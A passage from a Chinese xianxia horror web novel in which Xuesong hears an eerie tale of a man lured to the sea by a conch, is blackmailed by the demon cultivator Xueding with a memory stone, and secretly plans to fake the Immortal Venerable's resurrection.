雪松点了点头,觉得有道理,想了想对他描述:“那是一个年轻人,但是有一点偏老,一个高个子的人,但是又不是那么高,穿着普通的白色衣服,乍一看就是宗门里的服饰,我还以为他是被派来看守园子的,好像和回春堂有关……”
雪松犹豫着皱起眉头,觉得这些描述太模糊了,但又一时想不起那个人的脸,这是很奇怪的一件事。
因为他大多数时候虽然不太认得出人,却还记得脸,现在却仿佛认得出人,记不得脸,好像谁把他对于那个人的记忆剥离掉了一部分,以至于,他只记得一些没什么用的东西。
“听你的描述,我想不出什么人,因为我感觉到处都是这样的人,”白大褂皱着眉头摇了摇头,一脸担忧打量着他说,“但我觉得你好像中了什么不太妙的东西,所以,才会给出这种描述,你要不要顺便检查一下?”
雪松在听白大褂说话的时候感到了头晕,这几乎是板上钉钉的一个问题,再想到进来之前,千纸鹤要说什么,却被石头打断了,不由得有些怀疑,喃喃道:“也许那个人根本就不存在,只是我受到这里的影响所产生的幻觉,对我造成影响的,就是这里的水……”
他低下头去沉默了好半天,感觉自己好像想起了什么,慢吞吞从桌子上抬起头来,一字一句道:“如果这里的一切,是龙骨指针旁边那个东西造成的,那我和龙骨指针接触这么久,你怎么判断我一定没有——”
他晕了过去。
“没有什么,你说话呀?!”白大褂愣了一下,扑过去接住他,摇晃着他的肩膀,试图让他醒过来,但是没有用。
白大褂叹了一口气,从旁边拖出一张床来,把他放在了上面,盖好了白布,突然想起来,这应该不太好,毕竟他还没有死,又把白布往下撤了撤,盖在了他的脖子上,假装那是一床被子。
毕竟被子比一层布可要大多了。
白大褂重新洗了洗手,决定用精力药剂试一试,制作了一份精力药剂,喷在雪松的脸上,但是没什么用,于是重新制作了一份苏醒药剂,喷在了雪松的脸上,雪松慢吞吞睁开眼睛,醒了过来。
白大褂在旁边松了一口气,把手里的瓶子放在了旁边的桌上,对他挥了挥手问:“你现在感觉怎么样?你刚才有梦到什么吗?你还记得自己说了什么吗?如果我没有猜错,这应该是一种预兆,我是指,你很有可能被……选中了……”
他含糊掉了,选中雪松的存在的称呼,雪松像僵尸一样从床上坐起身来,他吓了一跳,连忙往后退,直到后背贴在台子上,感觉那张桌子从来没有像现在这样冰凉过,狠狠打了个哆嗦,一脸惨白,望着雪松问:“你还记得我是谁吗?”
到这种时候也不跑,而是先询问情况吗?也不知道该说他究竟是胆大包天到,在这种时候也敢随便试探,还是胆小如鼠到,觉得自己跑不动,所以干脆先问想知道的问题。
雪松觉得好笑,笑了起来,一时没有回答他的话,以至于整个房间里的气氛更渗人了,他感觉自己的鸡皮疙瘩都起来了,狠狠裹了裹衣服,免得自己感冒,也不敢说话,就那么目不转睛盯着雪松,顺便还从旁边找了一面镜子,用一种倾斜的角度照着雪松,大约是为了之后想要从镜子上寻找之前发生过的事,才专门用镜子来记录的。
“我记得你是谁。”雪松止住笑,从床上下来,对他说:“检验科的,之前约好要查清楚眼珠的事情,现在约好明天要跟我讲赔偿。”
一听见雪松提起赔偿两个字,白大褂瞬间感觉自己从虚无缥缈的恐怖氛围中落了地,周围的一切都安全起来,松了一口气说:“吓我一跳!我差点以为你被夺舍了!”
在雪松脑子里的残魂听见夺舍两个字,跳了起来,大声喊道:“什么?谁?谁敢夺舍?谁在找我!我才是夺舍的那个人!怎么能随便乱认呢?!说话呀,谁呀!!!”
因为他实在是太吵了,系统在第一时间拿着灭蚊拍,像灭蚊子一样狠狠往他身上拍了过去,只听啪的一声,他就被拍在了防护罩上,眨眼的时间就晕倒了,一声也不吭了。
不过他虽然虚弱了很多,却仍然还是没有消散,系统用灭蚊拍碰了碰他,他没有反应,就像一团死去的肉,系统甩了甩灭蚊拍,不想继续管他,反正现在暂时安静下来了,也懒得看他,把东西收起来,转头回去了。
回去的时候,系统顺便对雪松吐槽:“下回不要乱收东西!这种垃圾就应该丢出去!真不知道你什么时候有空!我要忍不下去了!我不能和这种东西距离这么近!他会污染我的!”
雪松回答道:“我知道了,暂时应该不会有第二个,你别担心,用不了多久,他自己也会死的,不过我现在确实没时间,拜托你了!”
系统哼哼唧唧:“那算了,暂时帮你看着吧。”
“谢谢!”雪松说。
“不客气。”系统回答。
与此同时,发现雪松的注意力并不在自己这里的白大褂,感到了疑惑,往旁边走了两步,重新出现在雪松的视野里,向雪松问:“你在想什么?你刚才没有看我,大约也没有听我讲话,这里还有什么别人吗?不应该呀……”
他左右看了看,没有看见第三个人,转过头来,重新向雪松问:“究竟是怎么回事?难道你现在还保持着和那边的联系?
如果你不打算永远沉入海底,我劝你还是尽快断开,否则真的会不受控制的,我见过很多这样的人。”
雪松不想和他细聊这些,但突然对他说的有点感兴趣,因此问:“什么叫见过很多这样的人?”
白大褂呵呵笑了起来:“我好歹是个检验科的,要是什么东西都没检验过,怎么能进来呢?肯定检验过很多东西!众所周知,尸体也算东西,所以我确实见过很多——”
他顿了顿,收敛了笑容,有些迟疑:“其实那些东西都不太好描述,但如果你想听的话,我可以给你讲一个,不过你听完最好,不要记住。
不然会很倒霉,比这里还要倒霉,这里好歹过几天水就退了,也不影响什么,但要是集中到一个人身上,那你过两天就得去海里了。”
雪松摸摸心脏,感觉自己好奇得要命:“说吧!告诉我吧?”
白大褂欲言又止,坐在旁边说:“好吧,有一个人,在街上见到了一个海螺,觉得很漂亮,就想买回家去,店老板说那是自己家女儿最喜欢的一个海螺,每天晚上都要抱着一起睡的,如果找不到就要闹,那个人就付了大价钱,才买回家,而且跟店主女儿保证,每天都会抱着海螺睡觉,不相信可以去他家看,店主女儿才同意卖给他。”
白大褂的脸颊抽搐了两下,不知什么时候长出了两片诡异而显眼的暗蓝色鱼鳞,眼皮变薄了很多,眼睑发白,嘴唇变薄,咬着牙说:“可是,他把那东西带回家之后,睡了一个晚上,白天就觉得床上湿漉漉的不舒服,把床单晾起来之后,觉得不能再这样继续下去,打算晚上不抱那个海螺睡,只把海螺放在床头柜上,假装晚上会抱着睡,也算是履行了对店主女儿的承诺。
不过一到晚上他就下意识把那东西抱在怀里睡着了,他开始做梦,梦到自己出现在一片海边,一步一步向海里走去,当他低头从海面上看向自己的倒影,他看见自己已经完全变成了另外一副样子,像一条古怪的人形的鱼。
起初他会惊醒,后来越睡越沉,直到天亮,一个月后,他不受控制,找了一个商队,要跟他们一起去海边,商队答应了,但告诉他,商队不会直接去海边,因为要去热闹的地方进行交易,他答应了,说只要最后去海边就行。
商队就带上了他,一起上了路,他发现商队停留的那条街十分眼熟,往周围一问,这条街就是他买海螺的那条街。
他立刻要去找那个店主,但是那家店已经关了门了,一个人也没有,他问旁边的邻居,邻居说,那家店曾经确实卖过一些海螺,但是店主并没有女儿。
他想要仔细问一遍,商队要走了,向他打招呼,他只好跟着去了,到了海边,感受到一种无以复加的强烈的呼唤,就像是,他失散已久的亲人,正在海底等他。
而他全然忘了,他在海岸上其实是有一些亲人的,商队要上船,问他要不要一起,他也上去了,但是晚上就一个人跳海了。
大家都以为他死了,可是没多久,就有人在海边发现了他的尸体,那尸体辗转落到了我的手上,我把尸体剖开,里面装满了各种各样的死鱼,还有贝壳和海螺。”
白大褂深深闭上了眼睛,好半天之后,苍白的脸色逐渐恢复正常,颤抖的嘴唇也渐渐平稳下去。
他睁开眼睛,眼眶有些发红,海水般咸腥的泪水从眼眶里滚了出来,面无表情说:“就是这样,大家都以为他死了,可是我把尸体放在房间里,自己睡在房间外面,因为太累了,想要休息一下,觉得反正没有人会偷那么诡异的尸体,也就没有仔细锁门。”
他捂着脸,不受控制似的笑了出来,声音里夹杂着沙沙的海浪声,不像是从他的嗓子里冒出来的,像是从他的故事里冒出来的,有什么东西顺着他的话过来了,但他还没停下,只是仍然一边捂着脸露出一只微微发蓝的诡异的鱼一样的眼睛盯着雪松笑一边说:“他抱着自己的皮,捧着尸体里面的那些零零碎碎从门口走了出去,当着我的面一路走,一路流水,跳海去了。”
雪松感觉有点危险,往周围看了看,原本干净的墙上,不知什么时候已经长出了一层厚厚的绿藻,原本只是冒着水珠的地面,不知什么时候已经积蓄了一层浅浅的水洼,足以把鞋底泡住,就连还算干燥的桌子和凳子,都已经开始往外长出零星的鱼鳞,缝隙里长出了鱼眼,拐角处长出了鱼尾,桌凳腿下面,压着不知什么时候冒出来的贝壳。
雪松猛然站了起来,一拳向注视着自己的白大褂打了过去,白大褂放下手,往后躲开了,雪松看见了他的脸,倒吸一口凉气。
那张脸上已经完全看不出本来面目,长满了鱼鳞,鱼鳞开开合合,底下藏着眼睛,正在一点一点往外,冒着充满腥味的海水。
雪松冲他丢了一个昏迷术,他晕了过去,砰的一下倒了,墙上的绿藻缩了回去,地面的水少了很多,只剩薄薄的一层,桌子和凳子也干净多了,原本长出的鳞片和眼珠,一个接一个落下去,掉在地面上,像是泡腾片一样,冒出泡泡来,逐渐被融化了,发出呲呲的声音,往外飘着白烟,还有一股咸酸味。
雪松咬了咬牙,蹲下去把人晃醒了,一脸迷茫睁开眼睛醒过来的白大褂用呆滞的双眼望着雪松,雪松正要问他,知不知道刚才发生了什么事。
他突然说:“我想起来了!”
雪松松开手,往后退了两步,一脸疑惑盯着他问:“你想起什么了?”
他一边从地上爬起来,一边笑眯眯说:“最近是有一个奇怪的人,时不时出现在这里,时不时又走掉了,总有人说见过,却又记不起来究竟长什么样子,他用不了多久,肯定还会再来的!
到时候我向他问一问,有没有见过你,如果见过,他应该会说,那么,也许就能再问一问,他究竟是什么身份。”
“你说这话听起来像是已经疯了,”雪松皱着眉头,想要再说他两句,又觉得他这个样子恐怕听不进去什么,不如改天再来,也许他更清醒一些,就提醒他,“算了,如果你见到了他,不要问有没有见过我,我不想让他记住我,也不希望在他那里留下深刻的印象,你只问他是什么身份也就够了,下次我来的时候,也许有机会听呢。”
白大褂一脸迷茫,歪头望着他:“问这个有什么意思?一个问题是不是太少了?知道了又能怎么样?难道你不好奇更多的东西?”
雪松很想找个锤子把他的脑壳敲开,看看里面是不是充满了好奇,但现在没有趁手的兵器,只好叹气:“你可以自己好奇,不用提起我,也不用问我,更不用告诉我。”
其实雪松也有一点想知道那些东西,但是一想到知道了不该知道的东西容易死,也就没那么有兴趣了。
他还是对自己比较有兴趣。
白大褂不知怎么想的,注视着他,突然露出恍然大悟的表情,微微笑着说:“我明白了!你根本还是在乎仙尊!所以即使是这么有意思的事情,也不太感兴趣,真是太可惜了!”
雪松不想和他提这个,皱着眉头摇了摇头:“我现在要走了!你知道哪里有比较安全,而且方便又近的路吗?给我开一条!我要自己出去!”
白大褂眨了眨眼睛,虽然有点可惜,他现在就要走,但还是问:“那你真的不需要别人送你吗?我想我那个学生可以干这事。反正是他把你送来的。他大概也不是很想待在这。”
“不用了,我自己去吧,他要是把我送走,他还得自己回来,挺麻烦的,”雪松摇了摇头,重新提醒道,“现在把路线告诉我!”
白大褂点了点头,从旁边的葡萄上摘下一片叶子递给他:“为了避免你从外面带什么不应该带的东西进来,你拿着这个出去吧,这东西会把你带出去的,最安全,最近,最好走的路,不过——”
白大褂似乎想到了什么,脸上逐渐露出了微笑:“你可千万不要回头啊!这东西不能给人回头的!
如果你不小心回了头,那恐怕就要迷路了,也许会死,也许会掉进海里,也许会遇到恐怖的怪物,谁知道呢?”
他耸了耸肩:“我没试过,总之,你可以走了。”
雪松接过那片叶子点了点头,转身离开,离开的时候看见他仍然微笑着,似人非人,似鱼非鱼的眼里闪着诡异的光。
雪松拿着叶子往外走去,隐约听见旁边有人冲他打招呼,似乎就是之前那个年轻人,一边挥手一边对他说:“你要走了吗?要我送你吗?我可以和你一起去吗?你怎么不说话?你为什么不回答?你说我吵?你胡说八道!”
越来越多,越来越吵,越来越大的声音冒了出来,不是从旁边就是从背后,没有一个声音是从前面来的,吵得要命。
雪松皱着眉头,感觉自己的耳朵嗡嗡响,就好像刚刚有敲锣打鼓的声音,从耳边经过一样,他还有点头痛了。
面前忽然多出一扇门来,他一头撞了上去,把门打开了,手里的叶子消失了,身后吹来一阵狂风呼啸着,听起来像是某种怪物的凄厉的惨叫。
雪松踉跄着走了出去,阳光明媚,天气晴朗,微风吹拂,一阵葡萄的清香从近处传来,他眯了眯眼睛,发现自己回到了地上。
看来这里确实比地下安全多了。
他看了看手,手上没有任何叶子的残留物,不管是枝液还是叶片都没有,他捻了捻手指,若无其事走了出去。
门口没有人,他往洞府走去,在路上忽然被人拦住了,他愣了一下,发现自己认不出这个人是谁。
那个人显然一副认识他的样子,和他打完招呼之后,没有等到他的回答,有些惊讶,将他上下打量一番问:“你不会要靠假装失忆或者不认识我来逃脱你应做的事吧?那可太卑劣了!也未免太可笑了吧?我以为至少像你这样的人的胆子不应该那么小才对?”
这话听起来倒蛮熟悉的。
雪松一下子想起来了:“你是巷子里面那个人?”
“对啊,是我,”他笑眯眯点了点头,“我们也没有分开多久,你怎么一下子就不认识了?我还以为你脑子出问题了!”
他说着,忽然动了动鼻子,皱起眉头,用手捂住了脸,往后退了两步,十分嫌弃说:“你身上怎么一股臭烘烘的海腥味?太恶心太恶心,太恶心!”
他一边说一边摸索着,不知从哪里掏出来一个巨大的瓶子,狠狠晃了晃,打开盖子,就把里面的东西对着雪松的身上喷了出来。
雪松捂住鼻子,闻到空气中弥漫起了一股土壤的气味,这些气味好像就是刚才那个瓶子里散出来的,并没有比海腥味好多少。
但对对面的人来说,一切可是好了不少,因为他深吸一口气,脸上露出了满意的,甚至是享受的愉悦的表情,还轻轻点了点头。
“跟我走吧?你好不容易回来,也该到我那儿做做客的!不能只到别人那去,不到我那去呀!这可不公平!”雪顶笑眯眯对雪松说着,就要过来拉他。
他往后退了一步,皱着眉头说:“可是我现在想回洞府去了。”
这显然是拒绝,但是雪顶并不允许,因此眯着眼睛盯着他问:“难道你以为,你得到的药还能扛多久?如果你想当众发病,我也不在乎,但你可要考虑好了!拖累仙尊的名声,不是什么好滋味吧?”
虽然雪松现在并不介意拖累仙尊的名声,毕竟他觉得仙尊的名声已经不剩多少了,更何况那个身份都已经死了,拖累了一点又怎么样?
但是,听到这种话,雪松还是不由得面色一僵,为什么他们都默认用仙尊来威胁他会有用呢?糟糕的是真的有用!
见鬼!他们不能换一种办法吗?还是说他们根本想不到?他们愚蠢的木讷的该死的嘴根本说不出来其他的话吗?这太可恶了吧?!
如果把他们的嘴变成木头,他要用锯子好好的把他们锯成一段又一段!到时候他们才知道被丢进火里烧烤的滋味是怎么样!
他现在虽然不在火里,但每回听见别人提起仙尊这两个字,都感觉自己被架在火上烤,这感觉真诡异极了。
“怎么样?要不要再考虑考虑?还是跟我去吧?做客而已,又不是要你的命!很快就会回去的?我说真的!早点去我那里办完了事,再回你的洞府,不好吗?”
“也罢,”雪松叹了一口气,感觉对面就在路上堵着,对他也不太好,他可以不在乎仙尊的名声,总不能不在乎现在这个身份的名声,要是两个身份的名声都烂了,那可太倒霉了,“走吧。”
对面点了点头,把雪松带到了屋子里,雪松一眼就注意到,屋子里面那个靠墙的桌上放着的花盆,之前这里也有一个花盆,和这个花盆应该是同一个,但是看起来完全不一样了。
之前那个花盆小小巧巧的,感觉也就拳头大,表面上覆盖了一层土,看起来很平整,现在这个花盆,里面的土比之前膨胀了至少一倍,大极了,好像马上要炸开一样,一根绿油油的,微微发白的小嫩芽,从土壤中间钻了出来,像一种刚生长出来的植物。
但那东西给雪松一种很诡异的微微晃动的感觉,就好像其实不是植物,而是动物的一部分一样,有一点像是安康鱼头顶上那个灯泡。
雪松被晃了一下眼睛,不由得眯了眯,雪顶笑眯眯请他坐了下来,顺手把凳子往他面前推了推,顺着他的目光看见了那个花盆,笑着说:“那东西好看吗?”
“不好说,”雪松注视着雪顶问,“那里面真是花吗?”
“实不相瞒,我也不知道是不是花呢,”雪顶呵呵呵笑了起来,“我只知道,那东西还会再长的,以后会比现在更大,到时候你可以来看,说不定比你还要大一些呢!”
听起来就不像什么正常植物。
雪松皱着眉头问:“你找我过来究竟有什么事?”
“你为什么不愿意复活仙尊?这对你来说明明是好事,难道仙尊一直是死人的状态,对你而言,就是可以庆幸的了吗?”雪顶眯着眼睛注视着他,一副审视的姿态:“难道你是想利用仙尊的名声,假作他的未亡人?让人同情你,安慰你,可怜你,以此来赚取利益,而不是真的在乎仙尊?那我要说他挺可怜的了!”
“没什么好可怜的,人死如灯灭,我说过很多次了。”雪松不想再提,充满了无动于衷的语气,冷着脸回答。
雪顶盯着他看了好一会儿,发现他说的是真的,忍不住笑了起来:“难道你不知道?如果仙尊活过来,你根本用不着受这么多的苦!”
雪松想不清楚对面说的苦是什么苦,一脸平静道:“我根本没有受苦。”系统把一切东西都给他准备好了,他从前也给自己铺好了路,他究竟有什么苦可受的?
难道他还不够享乐不成?这有点太好笑了吧?
“没有?”雪顶将他上下打量一番,摇了摇头,一脸你不懂的表情:“那你的伤是哪儿来的?你的病是哪来的?你的药又是怎么准备的?你以为我什么都不知道?”
雪顶长长叹了一口气,语重心长道:“你还年轻,不分轻重,所以听我的吧,我是为你好,仙尊活过来也会高兴的!”
“我做不到!”雪松冷着脸说:“我一出这个门就把你说的话全忘了,我绝对不会记任何一个字,不做就是不做!”
“那来看一个东西吧!”雪顶忽然笑了起来,像是早就料到他会拒绝,于是迫不及待要看看他看见自己拿出来的东西之后的反应。
雪松直觉他要给自己看的,不是什么好东西,下意识转身要走,被按住了,雪顶眯着眼睛问:“你不敢看?难道你知道是什么?我看你不知道,不然你就不会走了,你真的一点也不好奇?”
“我不好奇!”雪松没和他争论敢不敢的事,也不知道他说的是什么,只是斩钉截铁回答了一句。
雪顶心里有了数,呵呵笑了起来,松开手对他说:“你要走也可以,但我要告诉你,你要是敢走,我就把我手里的东西给所有人看。你真的要走吗?”
雪松沉默了半晌,答应道:“那我看看吧。”鬼知道对面拿的是什么东西!自己看总比给所有人看好!就算只是普普通通的东西也一样!
“在这儿。”雪顶笑眯眯把镜子搬了出来,放在桌子上,对他指了指说:“请看吧。”
镜子里出现了曾经的仙尊的画面,雪松定睛一看,只见镜子里那个仙尊,手里拿着一块多边形的,半透明的石头,挖了一个坑,把石头埋在了里面。
这是很久以前的事了,雪松想起当时是怎么回事,他在系统里签到,系统送了他那么一块石头,没什么大用,于是他就把东西埋下去了,想着反正没什么用,就不占系统空间的格子了,要是以后后悔了还可以来找,横竖没有人知道,应该也不会丢,毕竟一般人不会专门挖坑,挖一块石头的。
没想到这种事情也能被挖出来!
雪顶注视着雪松,见他脸上的神色变来变去,觉得他多半知道这块石头的事,笑眯眯说:“你知道这里面有什么吗?”
“有什么?不就一块石头。”雪松没什么兴趣,面无表情回答。
“不不不!这可不是一块石头!这里面有一整个剧场!”雪顶重新把镜子转向了雪松,敲了敲镜子对他说:“你看!”
雪松看向镜子,镜子里很快出现了新的画面,一个陌生人挖坑挖出了石头,把石头捧在手里,正在打量,忽然呆住,倒了下去,那块石头从他手里滚落,出现一条裂痕。
雪松皱了皱眉,他记得那块石头很是坚硬,不可能随便一摔就出裂痕的,那毕竟是一块石头,不是什么玻璃杯。
镜子里的画面,聚集在了那块石头上,隐约能从缝隙里看见,里面有一个仙尊,正站在埋石头的那棵树下,旁边并没有人,捧着石头,喃喃自语,似乎正在说什么,但是从镜子上听得并不清楚,也许根本就没说清。
“这算什么剧场?也许不过是意外,把一些自言自语的东西录进去了,也没有什么价值。”雪松不屑一顾。
实际上,他心里正在疯狂回想,当时有没有捧着石头,说什么不该说的话,可是想不起来有那么一回事。
系统告诉他:“没有那回事,我刚才查了一下,那块石头其实,有名字的,叫做幻想彩蛋,你知道这是什么意思吗?”
“什么意思?”雪松问。
“这东西本来是给演员用的,有些人想当演员,但是自己又放不开,于是,有人研发了这种东西,卖给他们。
让他们买了自己拿回家,想要演什么,又没有合适的时间和地点,以及机会的时候,就拿着这块石头想象自己要演的画面。
这块石头会直接加载出他演完之后的情形,他就可以根据石头给出的情况,来揣摩自己之后,要怎么演比较好,据说可以有效提升一部分的演技。”系统详细解释。
“可是我当时并没有想什么吧?”雪松感到疑惑问。
“是的,有这种情况,有些人买了,但是什么都不想,只是放着,石头会根据情况,自己提取相关信息储存备用,”系统说,“等到第二次被人拿起来的时候,就会根据第一次储存的备用信息和第二次拿起来的人的想法,来呈现画面,这多半就是了。”
雪松陷入沉默。难怪他怎么想也想不起来有那么一回事,原来根本就是没发生过的事情,他想得起来才有鬼了。
“难道你不好奇,仙尊究竟在说什么?”雪顶不太相信雪松真的对仙尊的消息不屑一顾,向雪松问。
“好奇什么呢?反正都已经死了。”雪松用一如既往的话回答他,面无表情暗中思考销毁那块石头的可能性有多大。
“是吗?”雪顶问。《 》
第102章【VIP】
第102章
雪顶敲了敲面前的那张镜子, 那镜子忽然咔嚓咔嚓响了一阵,忽然把画面调度到了地上的那块石头里面,就好像突然变成虫子钻进去了一样。
雪松听见那镜子里传来了感慨般的声音, 甚至是仙尊的嗓音:“我真不知道应该拿你怎么办才好, 既然如此,你就在这等我吧, 早晚有一天我会回来的, 到时候我就把你带走,你不会在这待太久。”
雪松狠狠打了个哆嗦, 觉得这种东西根本不能流落在外,便立刻向雪顶发动了攻击, 因为像雪顶丢过去的是眩晕术, 即使法术起效果, 也不会使人死亡, 雪顶一时没有反应过来,整个人一愣, 立刻中了招。
他两眼一翻晕了过去, 雪松开始狠狠敲打他的头颅,并且对他施展了记忆术,试图让他忘记刚才从镜子里看到的一切。
而他暂时还没有醒过来,雪松不确定刚才的法术是否生效,毕竟他闭着眼睛一动不动的时候,也不太能看得出来, 究竟有没有失忆。
雪松就犹豫着,开始对他上下摸索,摸到他身上的一块石头,拿出来一检查, 就是镜子里的那块,立刻销毁了。
石头刚刚变成粉末,雪松松了一口气,雪顶睁开眼睛醒了过来,他一脸迷茫,望着雪松问:“你从我这拿走了什么?”
雪松站起身,往后退了两步,看着他说:“你在胡说什么呢?拿走你什么了?我只是看你昏倒了,想找一找解药罢了。难道你给我的毒药甚至没有解药吗?未免太过分了吧?!”
雪顶缓缓从地上爬了起来,盯着雪松看了半天,若有所思:“或许你说的是真的,但是,我劝你还是不要在我这里,找你的解药,因为没有。”
“为什么?”雪松惊讶问。
“根本没做!做出来给你吗?只有缓解的药!你爱要不要,不过我想,你在别人那儿拿了,应该用不着在我这再拿一份吧?”雪顶拍拍衣服,坐在凳子上看着他问。
“你之前说的是认真的?”雪松顿了顿,又问:“你一定要我复活仙尊是吗?”
他忽然想到一个好主意,虽然按照正常流程,其实仙尊根本不可能被复活,但仙尊根本没有死,可以假装被复活,他做这种事,根本是得心应手,容易极了!
只要到时候假装复活了,再死掉就好,雪松就不相信,这些魔修还能把死了两次的仙尊,重新复活!
“当然,”雪顶虽然不知道雪松为什么突然精神一振,但注视着他,还是说,“你现在改变主意了?你打算复活了?”
“对,但是我有自己的办法,”雪松努力控制着自己不要狂笑,“我不允许你们干涉我,你们可以旁观,挑一个有空的时间吧,用不了很久,我想,仙尊马上就可以被复活。”
雪顶眯了眯眼睛,怀疑他是在骗自己,但看他一脸认真的样子,又觉得好像不是,直勾勾盯着他,上下仔细打量了一番,终于注意到了他似乎在抽搐的忍不住要翘起来的嘴角,头上缓缓冒出了一个问号。
之前不是怎么劝都不愿意吗?现在突然自己想通了?想通了不算,连之前的话都不作数了?居然高兴成这样?要不是因为面前有人,其实早就狂笑起来了吧?
究竟有什么好笑的?这是在笑什么?高兴仙尊终于可以复活了吗?之前可不是这样的!难道之前是另外一个人假扮的不成?不应该呀!上次感觉到的气息和这次明明一样!
那就是别的东西的问题了?等等,该不会是早就想要复活仙尊,但是不想别人插手,又有自己的计划和办法,所以打算隐瞒所有人暗中进行,不过现在东西都已经准备好了,时间也挑好了,最近就可以做这件事,因此看他们苦苦相逼,觉得麻烦又没必要,才微微松口,对他们透露了这事?
实际上,压不住的嘴角,控制不住的高兴,藏不住的喜悦,不是因为精神失常,不是因为神经错乱,不是因为中了迷魂香或者毒药,也不是生了病,脑子糊涂了,而是蓄谋已久,终于即将得偿所愿,稍稍松动了最外层的保护壳,才叫人知道怎么回事?
雪顶倒吸一口凉气,瞪大了眼睛盯着雪松,忍不住喃喃道:“太可怕了!太不可置信了!太令人震惊了!究竟是从什么时候开始的?”
复活仙尊这件事,是从多久以前开始的呢?肯定不是最近!因为最近,根本没有任何异常!那就是从前的事了?从前到多久?
上一次要求他复活吗?恐怕不是!如果是那个时候改变的主意,这一次接触的时候就可以直说,而不是拖到现在。
那么是更久以前?如果再要追溯,那就只能追溯到他刚出现的时候了……也就是说,他出现在众人面前,根本就是为了收集,自己所知道的复活仙尊的办法,所需要的材料?!
他不想让别人知道这事,也不想被人阻拦,更不想让人插手,因为,仙尊对他极其重要,复活仙尊自然是重要中的重要,他绝对不会允许,也不可能忍受有人在这其中,趁着他不防备来搅局。
他大概承受不起那样的损失和折磨,想也知道,身边重要的人死一次已经足够痛苦了,如果要眼睁睁看着死两次,发疯也正常。
从前根本看不出来,一点野心都没有,一点正在搜寻旁人所不知道的物品的痕迹都没有。一点要复活的迹象都没有!演技这么好!隐藏如此深!
全是因为他对仙尊的爱吧?如果真有那种东西,也许具象化出来,能像山海一样,狠狠把人压得喘不过气来,直到死亡。
雪顶忽然开始期待起,雪松把仙尊复活之后,仙尊的反应了,因此他微笑起来,充满了期待,而且态度极其温和说:“那太好了!我愿意全力配合你!”
其实这件事对于雪顶而言又有什么能够不满意的地方呢?根本没有!他要求雪松复活仙尊,一来是想看热闹,二来是受魔族众人所托,三来是想要借此对修仙者们进行打击。
毕竟,魔修和修仙者们之间有不可逾越的鸿沟,说世仇都算轻的了,根本是迫不及待想要看见对方倒霉的,这种事情,魔修们几乎可以想象到修仙者们可能会怎么说——
亵渎神明!不尊生命!肆意妄为!不可交流!果然畜生不如!早该杀光!还世界一个朗朗乾坤!
好巧不巧,魔修们也是这么想的,只不过,大多数时候,他们双方都迫于实力,没有办法真正将对面斩草除根,才会苟延残喘到今日,说来也是可惜,正好可以趁着这个机会,看看修仙者们究竟要怎么做。
如果修仙者们以此为借口对他们发起攻击,他们就可以大战一场,魔修们可喜欢了!如果修仙者们就此退让,魔修们更有话说了——
原来平日里如此义正言辞,也不过是伪装而已!只是针对我们罢了!装什么君子正人呢?真要是那么了不起,那么一板一眼那么严肃,怎么轮到自己头上,又不作数了?要是觉得死人复活违逆天命,那你们还有机会把仙尊再杀一次!
怎么不动手呢?是不敢,还是不愿意?是因为胆小如鼠,还是,借了魔修的手得到这样一个活着的仙尊,舍不得自断一臂,来损失这样一个强大而又威猛的战斗力,甚至是那些你们得不到的名声?
哦哦哦,该不会是因为,你们但凡动手,总得找个理由,冠冕堂皇的,可笑至极,以为自己找了理由就不算杀人了吗?还是以为自己装模作样走一遍流程,就是干干净净,清清白白,光明正大,可以站在别人头上了?
说来也好笑,你们平日不是最爱说,救人一命,胜造七级浮屠,或者,人命关天吗?这种时候,人命又不关天了?因为复活的不算人吗?不算人算什么?算我们魔修的?多谢你们把那么强大的一个战斗力送给我们呢!
不管怎么想都划算极了!
雪顶的嘴角也有点压不住了,他掏出一瓶药递给雪松:“这是治疗你所中的毒的缓解的药剂,你可以带回去吃,大概够你一个月的了,希望你能在一个月之内,说到做到,完成复活仙尊的事。
你可以随便挑一天,这个月的任何一天,你来通知我,我一定会去旁观的!不过为了安全起见,我会带一些朋友,你应该不介意吧?”
雪顶靠近了雪松,按着桌子注视着他,像是在审视他是否还有秘密,他伸出手去把药瓶拿走了,微笑道:“好啊,我随时欢迎你们。”
雪顶点了点头,对雪松的回答很是满意,态度更加柔和,拍拍他的肩膀,把他送出去:“虽然或许以我们的关系,我用不着做到这一步,你也有点膈应我,但是没关系,等到你真的把仙尊复活之后,你才会知道,究竟谁才是你的朋友!比现在清楚!”
雪顶哈哈大笑,打开门,站在门口对他说:“再见!我的朋友!我等着你通知我!你知道怎么办的吧?”
雪松点了点头,目光又落在房子里,靠墙的那个花盆上,向雪顶问:“那里面究竟有什么?”
“哦,我的小宠物而已,”雪顶顺着他的目光看了一眼那个膨胀的花盆,微笑道,“下次你来的时候,或许可以给你见见它,真的蛮可爱的哟!”
雪松对这种说话方式感到不适,点了点头,转身离开,感觉自己起了一点鸡皮疙瘩,不由得越发加快了脚步。
雪松其实并没有很好奇雪顶的宠物究竟是什么东西,只是有一点想看而已,听他这样一说,勉强冒出来的好奇心也就被打散了不少。
离开了雪顶的那个小木屋之后,周围没什么人,雪松又渐渐放慢了脚步,直到回到自己的洞府,才停了下来,松了一口气,有一种自己好像又活过来的感觉。
但是这个时候时间已经很晚了,他轻轻推开门,因为天色问题,洞府里面也是黑的,他点上灯,定睛一看,不知什么时候,房间里弥漫起了白雾。
他呼了一声,把门关上了,白雾向他弥漫过来,如同一条水中的蟒蛇,缠绕在了他的面前,他往后退了一步。
随后就看见,通常情况下,随着白雾出现在他面前的,那个老人,站在了桌子的旁边,正微笑着对他打招呼:“你今天可真是忙啊!我差点以为,最近都见不着你了呢!”
这话有点耳熟,今天好像有谁说过。
雪松眨了眨眼睛向他问:“你是来和我说之前没说完的事情的吗?”
老人缓缓点了点头:“你知道我当年算仙尊的道侣,算出来是谁吗?算出来的是你!只是我当时不知道有你这么一个人,你和仙尊又长得那样像,乍一看我还真以为是仙尊呢。”
老人说着,呵呵笑了起来。
雪松只觉得头皮发麻,对面如果真的在许多年前就已经算到,他可能会被别人当成仙尊的道侣,那未必不知道他究竟是什么身份!
雪松试探着问:“那你当初怎样对别人说的?”
“我就说仙尊或许会有道侣,也或许会孤身一人,毕竟,不清不楚的事情,还是不要斩钉截铁,免得说错了话害了人,谨慎一些为好。”老人眨了眨眼睛,向他问:“怎么了?你看起来有一点紧张?你不想让别人知道这事?”
老人挥了挥手,似乎没有细想,只是说:“我这个样子也不可能对别人说什么,你只管放心,你不想让别人知道,我不提这事就是了。”
雪松点了点头,将信将疑,但也不想提醒他,因此说:“那好。”
“不过有件事你要小心——”老人话没说完就消失了。
